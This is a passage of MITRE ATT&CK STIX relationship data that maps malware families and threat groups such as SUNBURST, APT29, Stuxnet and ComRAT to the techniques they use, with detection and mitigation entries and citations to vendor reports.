"x-mitre-data-component--d27b0089-2c39-4b6c-84ff-303e48657e77", "target_ref": "attack-pattern--890c9858-598c-401d-a4d5-c67ebcdd703a", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39080201-a56c-4daf-83b8-8ec09dd3baea", "type": "relationship", "created": "2020-01-24T19:00:33.123Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.stigviewer.com/stig/windows_server_2008_r2_member_server/2015-06-25/finding/V-26482", "description": "UCF. (n.d.). Unauthorized accounts must not have the Create symbolic links user right.. Retrieved December 18, 2017.", "source_name": "UCF STIG Symbolic Links"}], "modified": "2021-04-13T21:30:24.643Z", "description": "Limit permissions for who can create symbolic links in Windows to appropriate groups such as Administrators and necessary groups for virtualization. This can be done through GPO: Computer Configuration > [Policies] > Windows Settings > Security Settings > Local Policies > User Rights Assignment: Create symbolic links. (Citation: UCF STIG Symbolic Links)", "relationship_type": "mitigates", "source_ref": "course-of-action--93e7968a-9074-4eac-8ae9-9f5200ec3317", "target_ref": "attack-pattern--4ab929c6-ee2d-4fb5-aab4-b14be2ed7179", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--39080ec2-9914-4f83-a83e-18573da1b776", "created": "2022-07-29T19:52:40.375Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Microsoft Deep Dive Solorigate January 2021", "description": "MSTIC, CDOC, 365 Defender Research Team. (2021, January 20). Deep dive into the Solorigate second-stage activation: From SUNBURST to TEARDROP and Raindrop . Retrieved January 22, 2021.", "url": "https://www.microsoft.com/security/blog/2021/01/20/deep-dive-into-the-solorigate-second-stage-activation-from-sunburst-to-teardrop-and-raindrop/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2022-10-18T23:35:35.364Z", "description": "[SUNBURST](https://attack.mitre.org/software/S0559) removed IFEO registry values to clean up traces of persistence.(Citation: Microsoft Deep Dive Solorigate January 2021)", "relationship_type": "uses", "source_ref": "malware--a8839c95-029f-44cf-8f3d-a3cf2039e927", "target_ref": "attack-pattern--d2c4e5ea-dbdf-4113-805a-b1e2a337fb33", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39084aef-6ba7-4370-832f-b10002b97804", "type": "relationship", "created": "2020-01-24T14:07:56.483Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T14:07:56.483Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--910906dd-8c0a-475a-9cc1-5e029e2fad58", "target_ref": "attack-pattern--b6301b64-ef57-4cce-bb0b-77026f14a8db", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3911c758-2c61-4615-88a1-4b9f21c99a9c", "type": "relationship", "created": "2020-03-19T22:06:25.522Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://www.symantec.com/connect/blogs/buckeye-cyberespionage-group-shifts-gaze-us-hong-kong", "description": "Symantec Security Response. (2016, September 6). Buckeye cyberespionage group shifts gaze from US to Hong Kong. Retrieved September 26, 2016.", "source_name": "Symantec Buckeye"}], "modified": "2020-03-19T22:06:25.522Z", "description": "[APT3](https://attack.mitre.org/groups/G0022) has used tools to dump passwords from browsers.(Citation: Symantec Buckeye)", "relationship_type": "uses", "source_ref": "intrusion-set--0bbdf25b-30ff-4894-a1cd-49260d0dd2d9", "target_ref": "attack-pattern--58a3e6aa-4453-4cc8-a51f-4befe80b31a8", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3916c36b-bd92-4070-bc9a-6eab3d78cabd", "type": "relationship", "created": "2021-01-25T13:58:25.136Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CyberBit Dtrack", "url": "https://www.cyberbit.com/blog/endpoint-security/dtrack-apt-malware-found-in-nuclear-power-plant/", "description": "Hod Gavriel. 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Retrieved January 20, 2021."}], "modified": "2021-01-25T13:58:25.136Z", "description": "[Dtrack](https://attack.mitre.org/software/S0567) used hard-coded credentials to gain access to a network share.(Citation: CyberBit Dtrack)", "relationship_type": "uses", "source_ref": "malware--f8774023-8021-4ece-9aca-383ac89d2759", "target_ref": "attack-pattern--b17a1a56-e99c-403c-8948-561df0cffe81", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--391c4e76-2560-4a05-9024-1e16b4cdd3ae", "type": "relationship", "created": "2022-03-30T14:26:51.876Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.876Z", "description": "File monitoring may be used to detect changes to files in the Web directory of a Web server that do not match with updates to the Web server's content and may indicate implantation of a Web shell script.(Citation: NSA Cyber Mitigating Web Shells)", "source_ref": "x-mitre-data-component--2b3bfe19-d59a-460d-93bb-2f546adc2d2c", "target_ref": "attack-pattern--5d0d3609-d06d-49e1-b9c9-b544e0c618cb", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "NSA Cyber Mitigating Web Shells", "description": " NSA Cybersecurity Directorate. (n.d.). Mitigating Web Shells. Retrieved July 22, 2021.", "url": "https://github.com/nsacyber/Mitigating-Web-Shells"}]}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3920af52-2820-42e8-a6a8-2182c3a3908a", "type": "relationship", "created": "2022-03-25T19:34:13.946Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "MSTIC Nobelium Oct 2021", "url": "https://www.microsoft.com/security/blog/2021/10/25/nobelium-targeting-delegated-administrative-privileges-to-facilitate-broader-attacks/", "description": "Microsoft Threat Intelligence Center. (2021, October 25). NOBELIUM targeting delegated administrative privileges to facilitate broader attacks. Retrieved March 25, 2022."}], "modified": "2022-03-25T19:34:13.946Z", "description": "[APT29](https://attack.mitre.org/groups/G0016) can create new users through Azure AD.(Citation: MSTIC Nobelium Oct 2021)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "attack-pattern--a009cb25-4801-4116-9105-80a91cf15c1b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3921c748-c29e-4c2f-b5cb-bcc7c0237219", "created": "2020-12-29T16:20:59.017Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Nicolas Falliere, Liam O Murchu, Eric Chien February 2011", "description": "Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ", "url": "https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-17T17:58:37.381Z", "description": "[Stuxnet](https://attack.mitre.org/software/S0603) decrypts resources that are loaded into memory and executed.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)", "relationship_type": "uses", "source_ref": "malware--088f1d6e-0783-47c6-9923-9c79b2af43d4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39221b72-9f98-4434-9de6-139c154b8705", "type": "relationship", "created": "2020-01-24T19:47:55.649Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-01-24T19:47:55.649Z", "relationship_type": "revoked-by", "source_ref": "attack-pattern--1f47e2fd-fa77-4f2f-88ee-e85df308f125", "target_ref": "attack-pattern--43881e51-ac74-445b-b4c6-f9f9e9bf23fe", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3922a8b2-5a5d-4822-be22-75f246d56fa4", "type": "relationship", "created": "2021-06-29T15:39:46.413Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Bitdefender Naikon April 2021", "url": "https://www.bitdefender.com/files/News/CaseStudies/study/396/Bitdefender-PR-Whitepaper-NAIKON-creat5397-en-EN.pdf", "description": "Vrabie, V. (2021, April 23). NAIKON \u2013 Traces from a Military Cyber-Espionage Operation. Retrieved June 29, 2021."}], "modified": "2021-06-29T15:55:40.135Z", "description": "[RainyDay](https://attack.mitre.org/software/S0629) has named services and scheduled tasks to appear benign including \"ChromeCheck\" and \"googleupdate.\"(Citation: Bitdefender Naikon April 2021)", "relationship_type": "uses", "source_ref": "malware--29231689-5837-4a7a-aafc-1b65b3f50cc7", "target_ref": "attack-pattern--7bdca9d5-d500-4d7d-8c52-5fd47baf4c0c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39266465-987d-46f6-8680-4149a5bfea50", "type": "relationship", "created": "2019-03-13T14:45:00.237Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://github.com/PowerShellEmpire/Empire", "description": "Schroeder, W., Warner, J., Nelson, M. (n.d.). Github PowerShellEmpire. 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(2020, March 3). Molerats Delivers Spark Backdoor to Government and Telecommunications Organizations. Retrieved December 14, 2020."}], "modified": "2021-08-18T19:46:16.625Z", "description": "[Spark](https://attack.mitre.org/software/S0543) has checked the results of the <code>GetKeyboardLayoutList</code> and the language name returned by <code>GetLocaleInfoA</code> to make sure they contain the word \u201cArabic\u201d before executing.(Citation: Unit42 Molerat Mar 2020)", "relationship_type": "uses", "source_ref": "malware--03ea629c-517a-41e3-94f8-c7e5368cf8f4", "target_ref": "attack-pattern--c1b68a96-3c48-49ea-a6c0-9b27359f9c19", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--392ae34f-3fb7-444b-a5cc-3a1ddcaa96a6", "type": "relationship", "created": "2019-07-14T21:02:01.401Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Faou, M. and Dumont R.. (2019, May 29). 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Retrieved March 24, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[SILENTTRINITY](https://attack.mitre.org/software/S0692) has the ability to set its window state to hidden.(Citation: GitHub SILENTTRINITY Modules July 2019)", "modified": "2022-04-14T16:32:22.010Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--1244e058-fa10-48cb-b484-0bcf671107ae", "target_ref": "attack-pattern--cbb66055-0325-4111-aca0-40547b6ad5b0", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3940a530-9590-4861-8323-4ab3ba5100f7", "type": "relationship", "created": "2022-03-30T14:26:51.836Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.836Z", "description": "Monitor executed commands and arguments that may configure system settings to automatically execute a program during system boot or logon to maintain persistence or gain higher-level privileges on compromised systems.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--1ecb2399-e8ba-4f6b-8ba7-5c27d49405cf", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--394a227d-585f-48a5-84ac-cc40a0ad80e6", "type": "relationship", "created": "2021-01-11T19:10:42.748Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Red Canary NETWIRE January 2020", "url": "https://redcanary.com/blog/netwire-remote-access-trojan-on-linux/", "description": "Lambert, T. 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Retrieved April 4, 2023.", "url": "https://docs.google.com/document/d/1e9ZTW9b71YwFWS_18ZwDAxa-cYbV8q1wUefmKZLYVsA/edit#heading=h.lmnbtht1ikzm"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-04-04T22:52:47.113Z", "description": "[Mafalda](https://attack.mitre.org/software/S1060) can create a remote service, let it run once, and then delete it.(Citation: SentinelLabs Metador Technical Appendix Sept 2022)", "relationship_type": "uses", "source_ref": "malware--3be1fb7a-0f7e-415e-8e3a-74a80d596e68", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--395fbd2c-7827-49b3-8121-72d54181f0b1", "type": "relationship", "created": "2019-01-30T16:39:54.200Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"description": "Grunzweig, J.. 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MoustachedBouncer: Espionage against foreign diplomats in Belarus. Retrieved September 25, 2023.", "url": "https://www.welivesecurity.com/en/eset-research/moustachedbouncer-espionage-against-foreign-diplomats-in-belarus/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-25T19:42:15.728Z", "description": "[MoustachedBouncer](https://attack.mitre.org/groups/G1019) has used JavaScript to deliver malware hosted on HTML pages.(Citation: MoustachedBouncer ESET August 2023)", "relationship_type": "uses", "source_ref": "intrusion-set--7251b44b-6072-476c-b8d9-a6e32c355b28", "target_ref": "attack-pattern--0f4a0c76-ab2d-4cb0-85d3-3f0efb8cba0d", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39647c47-c73d-4da7-9b1a-8c67f20c1890", "type": "relationship", "created": "2020-06-29T03:27:51.065Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET ComRAT May 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/05/ESET_Turla_ComRAT.pdf", "description": "Faou, M. (2020, May). From Agent.btz to ComRAT v4: A ten-year journey. Retrieved June 15, 2020."}, {"source_name": "CISA ComRAT Oct 2020", "url": "https://us-cert.cisa.gov/ncas/analysis-reports/ar20-303a", "description": "CISA. (2020, October 29). Malware Analysis Report (AR20-303A). Retrieved December 9, 2020."}], "modified": "2020-12-09T23:26:09.430Z", "description": "[ComRAT](https://attack.mitre.org/software/S0126) has injected its orchestrator DLL into explorer.exe. [ComRAT](https://attack.mitre.org/software/S0126) has also injected its communications module into the victim's default browser to make C2 connections appear less suspicious as all network connections will be initiated by the browser process.(Citation: ESET ComRAT May 2020)(Citation: CISA ComRAT Oct 2020)", "relationship_type": "uses", "source_ref": "malware--da5880b4-f7da-4869-85f2-e0aba84b8565", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3964d326-01f2-4142-8f41-408f576b53b4", "type": "relationship", "created": "2018-04-18T17:59:24.739Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "FireEye Periscope March 2018", "description": "FireEye. (2018, March 16). Suspected Chinese Cyber Espionage Group (TEMP.Periscope) Targeting U.S. Engineering and Maritime Industries. Retrieved April 11, 2018.", "url": "https://www.fireeye.com/blog/threat-research/2018/03/suspected-chinese-espionage-group-targeting-maritime-and-engineering-industries.html"}], "modified": "2019-04-25T12:24:57.476Z", "description": "(Citation: FireEye Periscope March 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--7113eaa5-ba79-4fb3-b68a-398ee9cd698e", "target_ref": "tool--64764dc6-a032-495f-8250-1e4c06bdc163", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39663ad3-549e-4984-a81b-acce5cb02090", "type": "relationship", "created": "2020-05-14T22:29:26.045Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "McAfee Sharpshooter December 2018", "url": "https://www.mcafee.com/enterprise/en-us/assets/reports/rp-operation-sharpshooter.pdf", "description": "Sherstobitoff, R., Malhotra, A., et. al.. (2018, December 18). Operation Sharpshooter Campaign Targets Global Defense, Critical Infrastructure. Retrieved May 14, 2020."}], "modified": "2020-06-30T03:13:38.643Z", "description": "[Rising Sun](https://attack.mitre.org/software/S0448) can archive data using RC4 encryption and Base64 encoding prior to exfiltration.(Citation: McAfee Sharpshooter December 2018)\t", "relationship_type": "uses", "source_ref": "malware--56e6b6c2-e573-4969-8bab-783205cebbbf", "target_ref": "attack-pattern--143c0cbb-a297-4142-9624-87ffc778980b", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39670e5f-214a-48b0-81df-01c1f5030cd7", "type": "relationship", "created": "2019-11-07T20:09:56.969Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "SensePost Outlook Forms", "url": "https://sensepost.com/blog/2017/outlook-forms-and-shells/", "description": "Stalmans, E. (2017, April 28). Outlook Forms and Shells. Retrieved February 4, 2019."}, {"source_name": "SensePost Outlook Home Page", "url": "https://sensepost.com/blog/2017/outlook-home-page-another-ruler-vector/", "description": "Stalmans, E. (2017, October 11). Outlook Home Page \u2013 Another Ruler Vector. Retrieved February 4, 2019."}], "modified": "2021-08-16T21:30:02.054Z", "description": "For the Outlook methods, blocking macros may be ineffective as the Visual Basic engine used for these features is separate from the macro scripting engine.(Citation: SensePost Outlook Forms) Microsoft has released patches to try to address each issue. Ensure KB3191938 which blocks Outlook Visual Basic and displays a malicious code warning, KB4011091 which disables custom forms by default, and KB4011162 which removes the legacy Home Page feature, are applied to systems.(Citation: SensePost Outlook Home Page)", "relationship_type": "mitigates", "source_ref": "course-of-action--e5d930e9-775a-40ad-9bdb-b941d8dfe86b", "target_ref": "attack-pattern--bf147104-abf9-4221-95d1-e81585859441", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39677623-c73a-4ddb-aa49-c371d36016ba", "type": "relationship", "created": "2022-03-30T14:26:51.858Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.858Z", "description": "Monitor executed commands and arguments of net use commands associated with establishing and removing remote shares over SMB, including following best practices for detection of Windows Admin Shares.", "source_ref": "x-mitre-data-component--685f917a-e95e-4ba0-ade1-c7d354dae6e0", "target_ref": "attack-pattern--a750a9f6-0bde-4bb3-9aae-1e2786e9780c", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3967e156-2135-4416-b3c3-79372d19d610", "type": "relationship", "created": "2020-05-27T22:05:32.099Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Sophos Netwalker May 2020", "url": "https://news.sophos.com/en-us/2020/05/27/netwalker-ransomware-tools-give-insight-into-threat-actor/", "description": "Szappanos, G., Brandt, A.. (2020, May 27). Netwalker ransomware tools give insight into threat actor. Retrieved May 27, 2020."}], "modified": "2020-06-08T16:07:36.362Z", "description": "[Netwalker](https://attack.mitre.org/software/S0457)'s PowerShell script can decode and decrypt multiple layers of obfuscation, leading to the [Netwalker](https://attack.mitre.org/software/S0457) DLL being loaded into memory.(Citation: Sophos Netwalker May 2020)", "relationship_type": "uses", "source_ref": "malware--754effde-613c-4244-a83e-fb659b2a4d06", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39689be2-bc35-4d89-9233-08bda52a4229", "type": "relationship", "created": "2020-03-17T01:30:30.890Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "http://researchcenter.paloaltonetworks.com/2016/05/the-oilrig-campaign-attacks-on-saudi-arabian-organizations-deliver-helminth-backdoor/", "description": "Falcone, R. and Lee, B.. (2016, May 26). The OilRig Campaign: Attacks on Saudi Arabian Organizations Deliver Helminth Backdoor. Retrieved May 3, 2017.", "source_name": "Palo Alto OilRig May 2016"}], "modified": "2020-03-17T01:30:30.890Z", "description": "[Helminth](https://attack.mitre.org/software/S0170) can use DNS for C2.(Citation: Palo Alto OilRig May 2016)", "relationship_type": "uses", "source_ref": "malware--eff1a885-6f90-42a1-901f-eef6e7a1905e", "target_ref": "attack-pattern--1996eef1-ced3-4d7f-bf94-33298cabbf72", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--396a5415-67aa-4ec6-ae27-6be641d69e15", "created": "2020-05-08T17:01:36.122Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Group IB Silence Sept 2018", "description": "Group-IB. (2018, September). Silence: Moving Into the Darkside. Retrieved May 5, 2020.", "url": "https://go.group-ib.com/report-silence-en?_gl=1*d1bh3a*_ga*MTIwMzM5Mzc5MS4xNjk4OTI5NzY4*_ga_QMES53K3Y2*MTcwNDcyMjU2OS40LjEuMTcwNDcyMzU1Mi41My4wLjA."}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-01-10T14:30:32.209Z", "description": "[Silence](https://attack.mitre.org/groups/G0091) can create, delete, or modify a specified Registry key or value.(Citation: Group IB Silence Sept 2018)", "relationship_type": "uses", "source_ref": "intrusion-set--d13c8a7f-740b-4efa-a232-de7d6bb05321", "target_ref": "attack-pattern--57340c81-c025-4189-8fa0-fc7ede51bae4", "x_mitre_deprecated": false, "x_mitre_version": "1.0", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--396edbf6-41b5-4377-90b6-4967c24de7fb", "type": "relationship", "created": "2018-01-16T16:13:52.465Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ClearSky Charming Kitten Dec 2017", "description": "ClearSky Cyber Security. (2017, December). Charming Kitten. Retrieved December 27, 2017.", "url": "http://www.clearskysec.com/wp-content/uploads/2017/12/Charming_Kitten_2017.pdf"}], "modified": "2020-03-17T00:54:56.983Z", "description": "[DownPaper](https://attack.mitre.org/software/S0186) collects the victim host name and serial number, and then sends the information to the C2 server.(Citation: ClearSky Charming Kitten Dec 2017)", "relationship_type": "uses", "source_ref": "malware--e48df773-7c95-4a4c-ba70-ea3d15900148", "target_ref": "attack-pattern--354a7f88-63fb-41b5-a801-ce3b377b36f1", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--3979ca39-09a1-4a2b-a7d3-2eca5f1fb166", "created": "2023-09-13T20:11:44.552Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Morphisec Snip3 May 2021", "description": "Lorber, N. (2021, May 7). Revealing the Snip3 Crypter, a Highly Evasive RAT Loader. Retrieved September 13, 2023.", "url": "https://blog.morphisec.com/revealing-the-snip3-crypter-a-highly-evasive-rat-loader"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-09-13T20:13:54.727Z", "description": "[Snip3](https://attack.mitre.org/software/S1086) has the ability to obfuscate strings using XOR encryption.(Citation: Morphisec Snip3 May 2021)", "relationship_type": "uses", "source_ref": "malware--4327aff5-f194-440c-b499-4d9730cc1eab", "target_ref": "attack-pattern--b3d682b6-98f2-4fb0-aa3b-b4df007ca70a", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--39808511-28ac-4cff-b6b4-49d996855e8a", "type": "relationship", "created": "2020-12-22T17:48:21.024Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Crowdstrike GTR2020 Mar 2020", "url": "https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf", "description": "Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020."}], "modified": "2021-03-11T19:25:29.268Z", "description": "[APT41](https://attack.mitre.org/groups/G0096) has transferred implant files using Windows Admin Shares.(Citation: Crowdstrike GTR2020 Mar 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7", "target_ref": "attack-pattern--4f9ca633-15c5-463c-9724-bdcd54fde541", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--3982f2f1-8fdd-4ccd-84e6-6a13c919c4c9", "type": "relationship", "created": "2021-09-21T15:45:09.820Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET BackdoorDiplomacy Jun 2021", "url": "https://www.welivesecurity.com/2021/06/10/backdoordiplomacy-upgrading-quarian-turian/", "description": "Adam Burgher. (2021, June 10). BackdoorDiplomacy: Upgrading from Quarian to Turian. Retrieved September 1, 2021"}], "modified": "2021-10-18T13:19:48.167Z", "description": "[Turian](https://attack.mitre.org/software/S0647) has the ability to take screenshots.(Citation: ESET BackdoorDiplomacy Jun 2021)", "relationship_type": "uses", 